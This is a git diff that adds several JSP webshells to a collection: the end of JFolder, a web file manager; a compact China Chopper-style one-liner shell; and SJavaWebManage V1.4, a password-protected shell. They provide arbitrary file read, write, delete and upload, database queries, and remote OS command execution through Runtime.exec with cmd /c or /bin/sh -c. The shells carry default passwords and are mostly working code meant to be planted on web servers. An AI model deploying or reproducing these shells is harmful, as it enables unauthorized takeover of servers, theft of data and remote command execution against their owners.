= " + line); + while (line != null) { + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( + "Bad data in second line"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()) { + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1) { + if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { + fileInfo.name = paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0) { + fileInfo.clientFileName = value; + isFile = true; + } + else { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0) { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + boolean skipBlankLine = true; + if (isFile) { + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else { + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in third line"); + stLine.nextToken(); // Content-Type + fileInfo.fileContentType = stLine.nextToken(); + } + } + if (skipBlankLine) { + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile) { + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + // If parameter is dir, change saveInDir to dir + if (paramName.equals("dir")) saveInDir = line; + line = getLine(is); + continue; + } + try { + UplInfo uplInfo = new UplInfo(clength); + UploadMonitor.set(fileInfo.clientFileName, uplInfo); + OutputStream os = null; + String path = null; + if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent) { + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + uplInfo.aborted = true; + break; + } + if (compareBoundary(boundary, currentLine)) { + os.write(previousLine, 0, read - 2); + line = new String(currentLine, 0, read3); + break; + } + else { + os.write(previousLine, 0, read); + uplInfo.currSize += read; + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + }//end else + }//end while + os.flush(); + os.close(); + if (!saveFiles) { + ByteArrayOutputStream baos = (ByteArrayOutputStream) os; + fileInfo.setFileContents(baos.toByteArray()); + } + else fileInfo.file = new File(path); + dataTable.put(paramName, fileInfo); + uplInfo.currSize = uplInfo.totalSize; + }//end try + catch (IOException e) { + throw e; + } + } + return dataTable; + } + + /** + * Compares boundary string to byte array + */ + private boolean compareBoundary(String boundary, byte ba[]) { + byte b; + if (boundary == null || ba == null) return false; + for (int i = 0; i < boundary.length(); i++) + if ((byte) boundary.charAt(i) != ba[i]) return false; + return true; + } + + /** Convenience method to read HTTP header lines */ + private synchronized String getLine(ServletInputStream sis) throws IOException { + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1) { + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); + } + return line; + } + + public String getFileName(String dir, String fileName) throws IllegalArgumentException { + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException( + "dir or fileName is null"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } +} //End of class HttpMultiPartParser + +String formatPath(String p) +{ + StringBuffer sb=new StringBuffer(); + for (int i = 0; i < p.length(); i++) + { + if(p.charAt(i)=='\\') + { + sb.append("\\\\"); + } + else + { + sb.append(p.charAt(i)); + } + } + return sb.toString(); +} + + /** + * Converts some important chars (int) to the corresponding html string + */ + static String conv2Html(int i) { + if (i == '&') return "&"; + else if (i == '<') return "<"; + else if (i == '>') return ">"; + else if (i == '"') return """; + else return "" + (char) i; + } + + /** + * Converts a normal string to a html conform string + */ + static String htmlEncode(String st) { + StringBuffer buf = new StringBuffer(); + for (int i = 0; i < st.length(); i++) { + buf.append(conv2Html(st.charAt(i))); + } + return buf.toString(); + } +String getDrivers() +/** +Windows系统上取得可用的所有逻辑盘 +*/ +{ + StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : "); + File roots[]=File.listRoots(); + for(int i=0;i"); + sb.append(roots[i]+" "); + } + return sb.toString(); +} +static String convertFileSize(long filesize) +{ + //bug 5.09M 显示5.9M + String strUnit="Bytes"; + String strAfterComma=""; + int intDivisor=1; + if(filesize>=1024*1024) + { + strUnit = "MB"; + intDivisor=1024*1024; + } + else if(filesize>=1024) + { + strUnit = "KB"; + intDivisor=1024; + } + if(intDivisor==1) return filesize + " " + strUnit; + strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; + if(strAfterComma=="") strAfterComma=".0"; + return filesize / intDivisor + "." + strAfterComma + " " + strUnit; +} +%> +<% +request.setCharacterEncoding("gb2312"); +String tabID = request.getParameter("tabID"); +String strDir = request.getParameter("path"); +String strAction = request.getParameter("action"); +String strFile = request.getParameter("file"); +String strPath = strDir + strSeparator + strFile; +String strCmd = request.getParameter("cmd"); +StringBuffer sbEdit=new StringBuffer(""); +StringBuffer sbDown=new StringBuffer(""); +StringBuffer sbCopy=new StringBuffer(""); +StringBuffer sbSaveCopy=new StringBuffer(""); +StringBuffer sbNewFile=new StringBuffer(""); +String strOS = System.getProperty("os.name").toLowerCase(); +//out.print(strPath); +if((tabID==null) || tabID.equals("")) +{ + tabID = "1"; +} + +if(strDir==null||strDir.length()<1) +{ + strDir = request.getRealPath("."); +} + + +if(strAction!=null && strAction.equals("down")) +{ + File f=new File(strPath); + if(f.length()==0) + { + sbDown.append("文件大小为 0 字节,就不用下了吧"); + } + else + { + response.setHeader("content-type","text/html; charset=ISO-8859-1"); + response.setContentType("APPLICATION/OCTET-STREAM"); + response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\""); + FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath()); + out.clearBuffer(); + int i; + while ((i=fileInputStream.read()) != -1) + { + out.write(i); + } + fileInputStream.close(); + out.close(); + } +} + +if(strAction!=null && strAction.equals("del")) +{ + File f=new File(strPath); + f.delete(); +} + +if(strAction!=null && strAction.equals("edit")) +{ + File f=new File(strPath); + BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); + sbEdit.append("
                \r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append(" "); + sbEdit.append("  "+strPath+"\r\n"); + sbEdit.append("
                "); + sbEdit.append(""); + sbEdit.append("
                "); +} + +if(strAction!=null && strAction.equals("save")) +{ + File f=new File(strPath); + BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f))); + String strContent=request.getParameter("content"); + bw.write(strContent); + bw.close(); +} +if(strAction!=null && strAction.equals("copy")) +{ + File f=new File(strPath); + sbCopy.append("
                \r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("原始文件: "+strPath+"

                "); + sbCopy.append("目标文件:

                "); + sbCopy.append(" "); + sbCopy.append("

                 \r\n"); + sbCopy.append("

                "); +} +if(strAction!=null && strAction.equals("savecopy")) +{ + File f=new File(strPath); + String strDesFile=request.getParameter("file2"); + if(strDesFile==null || strDesFile.equals("")) + { + sbSaveCopy.append("

                目标文件错误。"); + } + else + { + File f_des=new File(strDesFile); + if(f_des.isFile()) + { + sbSaveCopy.append("

                目标文件已存在,不能复制。"); + } + else + { + String strTmpFile=strDesFile; + if(f_des.isDirectory()) + { + if(!strDesFile.endsWith(strSeparator)) + { + strDesFile=strDesFile+strSeparator; + } + strTmpFile=strDesFile+"cqq_"+strFile; + } + + File f_des_copy=new File(strTmpFile); + FileInputStream in1=new FileInputStream(f); + FileOutputStream out1=new FileOutputStream(f_des_copy); + byte[] buffer=new byte[1024]; + int c; + while((c=in1.read(buffer))!=-1) + { + out1.write(buffer,0,c); + } + in1.close(); + out1.close(); + + sbSaveCopy.append("原始文件 :"+strPath+"

                "); + sbSaveCopy.append("目标文件 :"+strTmpFile+"

                "); + sbSaveCopy.append("复制成功!"); + } + } + sbSaveCopy.append("

                "); +} +if(strAction!=null && strAction.equals("newFile")) +{ + String strF=request.getParameter("fileName"); + String strType1=request.getParameter("btnNewFile"); + String strType2=request.getParameter("btnNewDir"); + String strType=""; + if(strType1==null) + { + strType="Dir"; + } + else if(strType2==null) + { + strType="File"; + } + if(!strType.equals("") && !(strF==null || strF.equals(""))) + { + File f_new=new File(strF); + if(strType.equals("File") && !f_new.createNewFile()) + sbNewFile.append(strF+" 文件创建失败"); + if(strType.equals("Dir") && !f_new.mkdirs()) + sbNewFile.append(strF+" 目录创建失败"); + } + else + { + sbNewFile.append("

                建立文件或目录出错。"); + } +} + +if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))) +{ + String tempdir="."; + boolean error=false; + response.setContentType("text/html"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); + if (ht.get("cqqUploadFile") != null) + { + + FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); + File f1 = fi.file; + UplInfo info = UploadMonitor.getInfo(fi.clientFileName); + if (info != null && info.aborted) + { + f1.delete(); + request.setAttribute("error", "Upload aborted"); + } + else + { + String path = (String) ht.get("path"); + + if(path!=null && !path.endsWith(strSeparator)) + path = path + strSeparator; + strDir = path; + //out.println(path + f1.getName()); + if (!f1.renameTo(new File(path + f1.getName()))) + { + request.setAttribute("error", "Cannot upload file."); + out.println("error,upload "); + error = true; + f1.delete(); + } + } + } +} +%> + + + + + + + +JFoler 1.0 ---A jsp based web folder management tool by Steven Cee + + + + + +

                + + + + + + +
                + + + + + + +<% +StringBuffer sbFolder=new StringBuffer(""); +StringBuffer sbFile=new StringBuffer(""); +try +{ + File objFile = new File(strDir); + File list[] = objFile.listFiles(); + if(objFile.getAbsolutePath().length()>3) + { + sbFolder.append(" "); + sbFolder.append(strParentFolder[languageNo]+"
                - - - - - - - - - - - \r\n "); + + + } + for(int i=0;i "); + sbFolder.append(" "); + sbFolder.append(list[i].getName()+"
                "); + } + else + { + String strLen=""; + String strDT=""; + long lFile=0; + lFile=list[i].length(); + strLen = convertFileSize(lFile); + Date dt=new Date(list[i].lastModified()); + strDT=dt.toLocaleString(); + sbFile.append(""); + sbFile.append(""+list[i].getName()); + sbFile.append(""); + sbFile.append(""+strLen); + sbFile.append(""); + sbFile.append(""+strDT); + sbFile.append(""); + + sbFile.append("  "); + sbFile.append(strFileEdit[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDel[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDown[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileCopy[languageNo]+" "); + } + + } +} +catch(Exception e) +{ + out.println("操作失败: "+e.toString()+""); +} +%> + +
                + + + + + + + + + +
                +

                +
                www.topronet.com ,All Rights Reserved. +
                Any question, please email me cqq1978@Gmail.com diff --git "a/jsp/JSP\344\270\200\345\217\245\350\257\235\343\200\201\345\267\262\346\265\213\350\257\225.jsp" "b/jsp/JSP\344\270\200\345\217\245\350\257\235\343\200\201\345\267\262\346\265\213\350\257\225.jsp" new file mode 100644 index 0000000..1417cf7 --- /dev/null +++ "b/jsp/JSP\344\270\200\345\217\245\350\257\235\343\200\201\345\267\262\346\265\213\350\257\225.jsp" @@ -0,0 +1,59 @@ +<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%> +<%! +String Pwd="PW"; +String EC(String s,String c)throws Exception{return s;}//new String(s.getBytes("ISO-8859-1"),c);} +Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance(); +Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;} +void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();} +void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile(); +FileOutputStream os=new FileOutputStream(f);for(int i=0;i<% +String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs); +String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs); +StringBuffer sb=new StringBuffer("");try{sb.append("->"+"|"); +if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}} +else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1)))); +while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();} +else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1)))); +bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);} +else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");} +else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");} +else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c); +MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);} +else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);} +}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString()); +%> diff --git a/jsp/SJavaWebManageV1.4.jsp b/jsp/SJavaWebManageV1.4.jsp new file mode 100644 index 0000000..e84edb2 --- /dev/null +++ b/jsp/SJavaWebManageV1.4.jsp @@ -0,0 +1,1754 @@ +<%@page import="java.sql.ResultSetMetaData"%> +<%@page import="java.sql.ResultSet"%> +<%@page import="java.sql.DatabaseMetaData"%> +<%@page import="java.sql.DriverManager"%> +<%@page import="java.sql.Statement"%> +<%@page import="java.sql.Connection"%> +<%@page import="java.nio.charset.Charset"%> +<%@page import="java.text.DecimalFormat"%> +<%@page import="java.util.Properties"%> +<%@page import="java.util.ArrayList"%> +<%@page import="java.util.zip.ZipOutputStream"%> +<%@page import="java.util.zip.ZipEntry"%> +<%@page import="java.util.HashMap"%> +<%@page import="java.io.*"%> +<%@page import="java.util.Date"%> +<%@page import="java.text.SimpleDateFormat"%> +<%@page import="java.util.Iterator"%> +<%@page import="java.util.Map"%> +<%@page import="java.security.MessageDigest"%> +<%@ page language="java" contentType="text/html; charset=UTF-8" + pageEncoding="UTF-8"%> +<%! +private static final String PASS = "098f6bcd4621d373cade4e832627b4f6";//test +private static final String VERSION = "V1.4-20160528"; +private static final String[] Encodings = {"UTF-8","GB2312","GBK","ISO-8859-1","ASCII","Big5"}; +private static final String REQUEST_ENCODING = "ISO-8859-1"; +private static final String PAGE_ENCODING = "UTF-8"; +private static final String checkNewVersion = "http://www.shack2.org/soft/javamanage/Getnewversion.jsp";//检查新版本更新 + +private static final String DBO = "mydbdao";//Session数据库连接常量 +/*工具类*/ +public static class Util{ + public static String get32Md5(String str){ + try { + MessageDigest md = MessageDigest.getInstance("MD5"); + md.update(str.getBytes()); + byte b[] = md.digest(); + int i; + StringBuffer buf = new StringBuffer(""); + for (int offset = 0; offset < b.length; offset++) { + i = b[offset]; + if (i < 0) + i += 256; + if (i < 16) + buf.append("0"); + buf.append(Integer.toHexString(i)); + } + + return buf.toString().toLowerCase(); + + } catch (Exception e) { + + } + return ""; + } + public static boolean isEmpty(String val){ + if(val==null||"".equals(val)){ + return true; + } + return false; + } + public static String execCmd(String cmd,String encode){ + + String result=""; + String[] rmd=cmd.split(" "); + String[] cmds =new String[rmd.length+2]; + String OS = System.getProperty("os.name"); + if (OS.startsWith("Windows")) { + cmds[0]="cmd"; + cmds[1]="/c"; + } + else { + cmds[0]="/bin/sh"; + cmds[1]="-c"; + } + for(int i=0;i"; + disr = br.readLine(); + } + if (p.waitFor() != 0){ + + in = new BufferedInputStream(p.getErrorStream()); + br = new BufferedReader(new InputStreamReader(in)); + dis = new DataInputStream(in); + disr = br.readLine(); + while ( disr != null ) { + result+=disr+"
                "; + disr = br.readLine(); + } + } + }catch(Exception e){ + result=e.getMessage(); + }finally{ + if(p!=null){ + p.destroyForcibly(); + } + + } + return result.replaceAll("\\r\\n", "
                "); + } + + public static String formatPath(String path){ + if(isEmpty(path)){ + return ""; + } + return path.replaceAll("\\\\","/").replace('\\', '/').replaceAll("//", "/"); + } + + public static String formatDate(long time) { + SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); + return format.format(new Date(time)); + } + //获取参数值 + public static String getRequestStringVal(HttpServletRequest request,String key){ + String val=request.getParameter(key); + if(!isEmpty(val)){ + return val; + } + return ""; + } + public static int getRequestIntVal(HttpServletRequest request,String key){ + String val=getRequestStringVal(request,key); + int v=0; + try{ + v=Integer.parseInt(val); + }catch(Exception e){ + + } + return v; + } + // + + public static void print(JspWriter out,int level,String info) throws Exception{ + try{ + + if(level==1){ + out.print(""+info+""); + } + else if(level==2){ + out.print(""+info+""); + } + else if(level==3){ + out.print(""+info+""); + } + else{ + out.print(""+info+""); + } + }catch(Exception e){ + throw e; + } + } +} +/* +数据库操作工具类 +*/ +private static class DBUtil{ +private Connection conn = null; +private Statement stmt = null; +private String driver; +private String url; +private String uid; +private String pwd; +public DBUtil(String driver,String url,String uid,String pwd) throws Exception { +this(driver,url,uid,pwd,false); +} +public DBUtil(String driver,String url,String uid,String pwd,boolean connect) throws Exception { +try{ +Class.forName(driver); +if (connect) +this.conn = DriverManager.getConnection(url,uid,pwd); +this.url = url; +this.driver = driver; +this.uid = uid; +this.pwd = pwd; +}catch(ClassNotFoundException e){ + e.printStackTrace(); + throw e; +} +} +public void connect() throws Exception{ +this.conn = DriverManager.getConnection(url,uid,pwd); +} +public Object execute(String sql) throws Exception { +if (isValid()) { +stmt = conn.createStatement(); +if (stmt.execute(sql)) { +return stmt.getResultSet(); +} else { +return ""+stmt.getUpdateCount(); +} +} +throw new Exception("Connection is inValid."); +} +public void closeStmt() throws Exception{ +if (this.stmt != null) +stmt.close(); +} +public boolean isValid() throws Exception { +return conn != null && !conn.isClosed(); +} +public void close() throws Exception { +if (isValid()) { +closeStmt(); +conn.close(); +} +} +public boolean notchange(String driver,String url,String uid,String pwd) { +return (this.driver.equals(driver) && this.url.equals(url) && this.uid.equals(uid) && this.pwd.equals(pwd)); +} +public Connection getConn(){ +return this.conn; +} +} + +/** + *将文件或是文件夹打包压缩成zip格式 + * + */ +public static class ZipUtils { + /** + * 创建ZIP文件 + * @param sourcePath 文件或文件夹路径(多个请用逗号隔开) + * @param zipPath 生成的zip文件存在路径(包括文件名) + */ + public static void createZip(String sourcePath, String zipPath) { + FileOutputStream fos = null; + ZipOutputStream zos = null; + try { + fos = new FileOutputStream(zipPath); + zos = new ZipOutputStream(fos); + String[] fs=sourcePath.split(","); + for(int i=0;i", ">"); + } + + public static void newFile(String path,String isDir) throws Exception{ + + File f=new File(path); + if(!f.exists()){ + if("1".equals(isDir)){ + f.mkdir(); + } + else{ + f.createNewFile(); + } + } + } + + public static void downLoadFile(HttpServletResponse response,String path){ + OutputStream os=null; + FileInputStream fis=null; + BufferedInputStream bis=null; + try { + String fname=path.substring(path.lastIndexOf("/")+1); + File f=new File(path); + os= response.getOutputStream(); + + response.reset(); + response.setHeader("Content-Disposition", "attachment; filename="+fname); + response.setContentType("application/octet-stream; charset=UTF-8"); + fis=new FileInputStream(path); + bis=new BufferedInputStream(fis); + byte[] tem=new byte[4068]; + int len=0; + while((len=bis.read(tem))!=-1){ + os.write(tem,0,len); + } + + }catch(Exception e){} + finally { + try{ + if(bis!=null) bis.close(); + if(fis!=null)fis.close(); + + if (os != null) { + os.flush(); + os.close(); + } + }catch(Exception e){} + } + } + +} + +/*上传类*/ +public static class UploadFile { + + /** + * 上传文件组件,调用该方法的servlet在使用该方法前必须先调用request.setCharacterEncoding()方法,设置编码格式。该编码格式须与页面编码格式一致。 + * @param sis 数据流 + * @param encoding 编码方式。必须与jsp页面编码方式一样,否则会有乱码。 + * @param length 数据流长度 + * @param upLoadPath 文件保存路径 + * @throws FileNotFoundException + * @throws IOException + */ + public static HashMap uploadFile(ServletInputStream sis, String encoding, int length, String upLoadPath) throws IOException { + HashMap paramMap = new HashMap(); + + boolean isFirst = true; + String boundary = null;//分界符 + byte[] tmpBytes = new byte[4096];//tmpBytes用于存储每行读取到的字节。 + int[] readBytesLength = new int[1];//数组readBytesLength中的元素i[0],用于保存readLine()方法中读取的实际字节数。 + int readStreamlength = 0;//readStreamlength用于记录已经读取的流的长度。 + String tmpString = null; + + tmpString = readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + while (readStreamlength < length) { + if (isFirst) { + boundary = tmpString; + isFirst = false; + } + if (tmpString.equals(boundary)) { + String contentDisposition = readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + String contentType = readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + //当时上传文件时content-Type不会是null + if (contentType != null && contentType.trim().length() != 0) { + String paramName = getPramName(contentDisposition); + String fileName = getFileName(getFilePath(contentDisposition)); + + paramMap.put(paramName, fileName); + + //跳过空格行 + readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + + /* + * 文件名不为空,则上传了文件。 + */ + if (fileName != null && fileName.trim().length() != 0) { + fileName = upLoadPath + fileName; + + //开始读取数据 + byte[] cash = new byte[4096]; + int flag = 0; + FileOutputStream fos = new FileOutputStream(fileName); + tmpString = readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + /* + *分界符跟结束符虽然看上去只是结束符比分界符多了“--”,其实不是, + *分界符是“-----------------------------45931489520280”后面有2个看不见的回车换行符,即0D 0A + *而结束符是“-----------------------------45931489520280--”后面再跟2个看不见的回车换行符,即0D 0A + * + */ + while (tmpString.indexOf(boundary.substring(0, boundary.length() - 2)) == -1) { + for (int j = 0; j < readBytesLength[0]; j++) { + cash[j] = tmpBytes[j]; + } + flag = readBytesLength[0]; + tmpString = readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + if (tmpString.indexOf(boundary.substring(0, boundary.length() - 2)) == -1) { + fos.write(cash, 0, flag); + fos.flush(); + } else { + fos.write(cash, 0, flag - 2); + fos.flush(); + } + } + fos.close(); + } else { + //跳过空格行 + readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + + //读取分界符或者结束符 + tmpString = readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + } + } //当不是长传文件时 + else { + String paramName = getPramName(contentDisposition); + String value = readLine(tmpBytes, readBytesLength, sis, encoding); + //去掉回车换行符(最后两个字节) + byte[] valueByte=value.getBytes(encoding); + value =new String(valueByte, 0, valueByte.length-2, encoding); + + readStreamlength = readStreamlength + readBytesLength[0]; + paramMap.put(paramName, value); + tmpString = readLine(tmpBytes, readBytesLength, sis, encoding); + readStreamlength = readStreamlength + readBytesLength[0]; + } + } + + } + sis.close(); + return paramMap; + } + + /** + * 从流中读取一行数据。 + * @param bytes 字节数组,用于保存从流中读取到的字节。 + * @param index 一个整型数组,只有一个元素,即index[0],用于保存从流中实际读取的字节数。 + * @param sis 数据流 + * @param encoding 组建字符串时所用的编码 + * @return 将读取到的字节经特定编码方式组成的字符串。 + */ + private static String readLine(byte[] bytes, int[] index, ServletInputStream sis, String encoding) { + try { + index[0] = sis.readLine(bytes, 0, bytes.length);//readLine()方法把读取的内容保存到bytes数组的第0到第bytes.length处,返回值是实际读取的 字节数。 + if (index[0] < 0) { + return null; + } + } catch (IOException e) { + return null; + } + if (encoding == null) { + return new String(bytes, 0, index[0]); + } else { + try { + return new String(bytes, 0, index[0], encoding); + } catch (Exception ex) { + return null; + } + } + + } + + private static String getPramName(String contentDisposition) { + String s = contentDisposition.substring(contentDisposition.indexOf("name=\"") + 6); + s = s.substring(0, s.indexOf('\"')); + return s; + } + + private static String getFilePath(String contentDisposition) { + String s = contentDisposition.substring(contentDisposition.indexOf("filename=\"") + 10); + s = s.substring(0, s.indexOf('\"')); + return s; + } + + private static String getFileName(String filePath) { + String rtn = null; + if (filePath != null) { + int index = filePath.lastIndexOf("/");//根据name中包不包含/来判断浏览器的类型。 + if (index != -1)//包含/,则此时可以判断文件由火狐浏览器上传 + { + rtn = filePath.substring(index + 1);//获得文件名 + } else//不包含/,可以判断文件由ie浏览器上传。 + { + index = filePath.lastIndexOf("\\"); + if (index != -1) { + rtn = filePath.substring(index + 1);//获得文件名 + } else { + rtn = filePath; + } + } + } + return rtn; + } +} +%> +<% +request.setCharacterEncoding(PAGE_ENCODING); +//shell所在磁盘路径 +final String shellPath=request.getContextPath()+request.getServletPath(); + +//shell磁盘更目录 +String webRootPath=request.getSession().getServletContext().getRealPath("/"); + +if (Util.isEmpty(webRootPath)) {//for weblogic + webRootPath = Util.formatPath(this.getClass().getClassLoader().getResource("/").getPath()); + webRootPath = webRootPath.substring(0,webRootPath.indexOf("/WEB-INF")); + webRootPath=webRootPath.substring(0,webRootPath.lastIndexOf("/")); +} else { + webRootPath = application.getRealPath("/"); +} +webRootPath=Util.formatPath(webRootPath); +final String shellDir=webRootPath+request.getContextPath(); + +String m=Util.getRequestStringVal(request, "m"); +if(Util.isEmpty(m)){ + m="FileManage"; +} +//登录密码验证 + +if("Login".equals(m)){ + String dow=Util.getRequestStringVal(request, "do"); + if(Util.isEmpty(dow)){ + %> + + + + + +Powered By SJavaWebManage + + + + + + +
                +
                + 请输入密码: +
                + <% +String info=Util.getRequestStringVal(request, "info"); +if("false".equals(info)){ + Util.print(out,2,"密码错误,嘎嘎!"); +} +%> +
                +
                + Copyright (c) 2014 http://www.shack2.org + All Rights Reserved| coded by shack2 QQ:1341413415| Powered By + SJavaWebManage| version:<%=VERSION%>  新版本:
                + + +<% + } + if("DoLogin".equals(dow)){ + String pass=Util.getRequestStringVal(request, "pass"); + + if(PASS.equals(Util.get32Md5(pass).toLowerCase())){ + session.setAttribute("isLogin", "true"); + response.sendRedirect(shellPath+"?m=FileManage"); + } + else{ + response.sendRedirect(shellPath+"?m=Login&info=false"); + } + } + //阻止下面的内容输出 + return; +} +else{ + + //登录状态验证 + String isLogin=session.getAttribute("isLogin")+""; + if(!"true".equals(isLogin)){ + response.sendRedirect(shellPath+"?m=Login"); + } +} +%> + + + + + + + + +
                + +
                + Web:localhost:8000 主机IP:192.168.11.11 |Java WebManage coded by shack2 + | http://www.shack2.org | version:<%=VERSION%> + ps:本脚本适用于简单的Web管理,为了兼容较低版本JDK,采用JDK1.3开发 +
                + + + +
                + <% + if("EnvsInfo".equals(m)){ + %> + +
                +
                  + <% + Properties ps=System.getProperties(); + Iterator iter=ps.keySet().iterator(); + while (iter.hasNext()) { + String key=iter.next()+""; + out.print("
                • "+key+"  "+ps.getProperty(key)+"
                • "); + } + %> + +
                +
